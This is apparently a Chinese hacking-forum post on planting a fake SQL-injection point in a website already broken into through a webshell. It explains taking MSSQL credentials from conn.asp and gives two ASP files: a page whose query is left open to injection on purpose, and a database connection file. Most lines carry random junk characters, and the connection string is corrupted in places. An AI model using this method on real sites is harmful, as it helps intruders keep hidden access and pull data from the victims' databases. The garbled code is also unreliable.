自己构造注入点方便入侵; B1 J- ?: m+ ?* U( U B! n
5 r- O8 ^& P8 S% e今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息8 y# s" x8 l- c% n
: r) m2 ^3 n. d! [7 t p( |: x这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!3 ^5 R6 r2 i# W- K; T/ k3 c
3 r' k+ h& L; F. H+ _$ \首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和+ d" h+ H" }! j* x, s: H
$ Y7 i4 K# U( e
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表7 C3 O$ {: }- G$ f
) Z( ?1 @$ T- Q" I8 U
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
4 R/ ~1 E+ }$ p9 E- A7 i
- \6 e3 _$ ]$ g* I程序代码7 p, L2 u* b* j% {% D
<!--#include file="xx.asp"-->3 O' s8 f! D L+ Y. ?; i
<%
; k0 n" b4 U; E5 c8 q, I& {. W; u1 [set rs=server.createobject("ADODB.recordset")5 {1 p; \- U( G5 f1 s* C9 Y& r
id = request("id")7 l! ?: T8 s7 T4 K5 _; S: O1 P
strSQL = "select * from admin where id=" & id
# Y' h8 K% m6 {5 e0 X# qrs.open strSQL,conn,1,3
! R$ F/ J1 f7 K# G& rrs.close7 B# w; {* y/ V2 l
%>$ _5 w! S1 v/ s3 V: _8 h
6 M+ K. t% P( I+ C把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在5 A" ~/ z' w ~5 Z$ q
2 k* \& s' x5 u6 i) w; v$ d
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!% z/ h) C) m( T9 m5 s+ R
3 p1 i) g/ C2 ]; C3 V7 J0 C6 {+ E然后就要构造一个连接数据库的文件了,代码如下:! k: g l4 B, W* }
程序代码
) l+ `; P+ ~; Q4 e8 t<%
9 }3 y" f7 U- V, s( Z* F6 L& G9 QstrSQLServerName = "000.000.000.000" '服务器名称或地址
: a/ k& A# p+ `3 Y, { O3 fstrSQLDBUserName = "sqlname" '数据库帐号8 t0 M6 G4 N, ]* M: n
strSQLDBPassword = "sqlpass" '数据库密码
; f1 w6 s9 B' H& ]# n! i$ GstrSQLDBName = "sqldataname" '数据库名称; H1 C9 X% D: Q$ @: l
Set conn = Server.CreateObject("ADODB.Connection"), @/ L5 D" K( ]& M5 j5 p' R
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
/ N9 v) z9 P) H- f! I. aconn.open strCon
" U) Q" U# C+ e! i1 I7 |. C%>
# _5 w- o. G5 t7 W+ G$ s& p. u
% B& w+ Z: A" C9 P) h) _$ w' i这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,3 y( Z9 h t0 [" C- N
+ S @. S' x4 d4 N k1 ?# o
就这样,正常情况下,就OK了,伪造成功……
* i; r2 t" T# }9 ^- }% s* z3 L, t5 i5 d
如果有什么问题可以提出来大家一起探讨解决。 |